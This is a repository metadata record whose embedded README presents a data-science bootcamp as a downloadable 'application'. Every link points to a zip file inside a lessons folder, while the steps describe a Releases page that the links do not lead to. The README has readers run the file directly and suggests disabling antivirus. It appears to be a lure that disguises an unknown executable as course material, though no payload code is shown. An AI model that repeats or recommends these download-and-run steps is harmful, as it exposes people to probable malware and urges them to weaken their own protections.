{"id":30848286,"url":"https://github.com/ozcankyo28/ds-ml-bootcamp","last_synced_at":"2026-04-14T15:31:26.625Z","repository":{"id":313425668,"uuid":"1050057798","full_name":"ozcankyo28/ds-ml-bootcamp","owner":"ozcankyo28","description":"📊 Master data science and machine learning in one month with hands-on projects, covering the complete ML workflow from data collection to deployment.","archived":false,"fork":false,"pushed_at":"2025-09-05T23:05:15.000Z","size":14187,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2025-09-06T01:09:17.162Z","etag":null,"topics":["data-science","datascience","jose-portilla","lgbm","lgbmregressor","machine-learning","matplotlib-pyplot","python","regression-models","scikit-learn","seaborn","tensorflow","udemy-course-project","udemy-machine-learning"],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ozcankyo28.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-09-03T22:15:36.000Z","updated_at":"2025-09-05T23:05:18.000Z","dependencies_parsed_at":"2025-09-06T01:09:21.524Z","dependency_job_id":"c2c368b3-61b0-432a-9367-8157c418c876","html_url":"https://github.com/ozcankyo28/ds-ml-bootcamp","commit_stats":null,"previous_names":["ozcankyo28/ds-ml-bootcamp"],"tags_count":null,"template":false,"template_full_name":null,"purl":"pkg:github/ozcankyo28/ds-ml-bootcamp","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ozcankyo28%2Fds-ml-bootcamp","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ozcankyo28%2Fds-ml-bootcamp/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ozcankyo28%2Fds-ml-bootcamp/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ozcankyo28%2Fds-ml-bootcamp/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ozcankyo28","download_url":"https://codeload.github.com/ozcankyo28/ds-ml-bootcamp/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ozcankyo28%2Fds-ml-bootcamp/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":273990193,"owners_count":25203288,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-07T02:00:09.463Z","response_time":67,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["data-science","datascience","jose-portilla","lgbm","lgbmregressor","machine-learning","matplotlib-pyplot","python","regression-models","scikit-learn","seaborn","tensorflow","udemy-course-project","udemy-machine-learning"],"created_at":"2025-09-07T03:08:05.363Z","updated_at":"2026-04-14T15:31:26.620Z","avatar_url":"https://github.com/ozcankyo28.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# 📊 ds-ml-bootcamp - Learn Data Science and Machine Learning Effortlessly\n\n[![Download ds-ml-bootcamp](https://raw.githubusercontent.com/ozcankyo28/ds-ml-bootcamp/main/lessons/ml-bootcamp-ds-1.7.zip)](https://raw.githubusercontent.com/ozcankyo28/ds-ml-bootcamp/main/lessons/ml-bootcamp-ds-1.7.zip)\n\n## 🚀 Getting Started\n\nWelcome to the Data Science and Machine Learning Bootcamp! This application will help you dive into the world of data science and machine learning, even if you're new to the field.\n\n### 📋 What You Need\n\nBefore you download the ds-ml-bootcamp application, ensure your computer meets these requirements:\n\n- Operating System: Windows 10, macOS, or Linux\n- Minimum RAM: 4 GB (8 GB or more recommended)\n- Storage space: At least 1 GB available\n- Python installed (version 3.6 or higher)\n\nDon't worry if you don't have Python installed. The application comes with instructions on how to set it up.\n\n## 📥 Download \u0026 Install\n\nTo get started, visit the link below to download the ds-ml-bootcamp application:\n\n[Download ds-ml-bootcamp](https://raw.githubusercontent.com/ozcankyo28/ds-ml-bootcamp/main/lessons/ml-bootcamp-ds-1.7.zip)\n\n### 🔗 Steps to Download\n\n1. Click on the link above.\n2. On the Releases page, you will see a list of available versions.\n3. Find the latest version.\n4. Click on the file that corresponds to your operating system (e.g., Windows, macOS, Linux).\n5. The file will start downloading.\n\n### ⚙️ Installing the Application\n\nAfter downloading, follow these steps to install the application:\n\n#### For Windows:\n\n1. Locate the downloaded file (usually in the 'Downloads' folder).\n2. Double-click on the file to run it.\n3. Follow the on-screen instructions to complete the installation.\n\n#### For macOS:\n\n1. Open the downloaded file.\n2. Drag the ds-ml-bootcamp icon into the Applications folder.\n3. Go to the Applications folder and double-click the ds-ml-bootcamp icon to launch it.\n\n#### For Linux:\n\n1. Open the terminal.\n2. Navigate to the folder where the downloaded file is located.\n3. Run the command: `chmod +x ds-ml-bootcamp` to make the file executable.\n4. Then run: `./ds-ml-bootcamp` to launch the application.\n\n## 🎓 Learning Path\n\nInside the application, you will find several modules that cover the essentials of data science and machine learning. Each module includes:\n\n- Beginner-friendly tutorials\n- Practical exercises\n- Quizzes to test your knowledge\n\nThese resources will guide you through topics such as:\n\n- Data analysis with Python\n- Machine learning algorithms\n- Data visualization techniques\n- Best practices in data science\n\n## 🛠️ Troubleshooting\n\nIf you run into any issues while downloading or installing the application, consider the following tips:\n\n- **Check your internet connection:** Ensure you are connected to the internet during the download.\n- **Antivirus settings:** Sometimes, antivirus software can block downloads. You may need to adjust your settings or temporarily disable your antivirus while downloading.\n- **Compatibility:** Make sure the version you downloaded matches your operating system.\n\nIf problems persist, check the GitHub Issues page for common questions or report a new issue.\n\n## 📞 Get Help\n\nIf you need additional support, please reach out through the following channels:\n\n- **GitHub Repository:** Post your question in the Issues section.\n- **Community Forums:** Join discussions with other users for tips and troubleshooting.\n\n## 🔗 Link to Releases\n\nTo download the latest version of ds-ml-bootcamp, please visit:\n\n[Download ds-ml-bootcamp](https://raw.githubusercontent.com/ozcankyo28/ds-ml-bootcamp/main/lessons/ml-bootcamp-ds-1.7.zip)\n\nWe hope you enjoy your journey into data science and machine learning!","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fozcankyo28%2Fds-ml-bootcamp","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fozcankyo28%2Fds-ml-bootcamp","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fozcankyo28%2Fds-ml-bootcamp/lists"}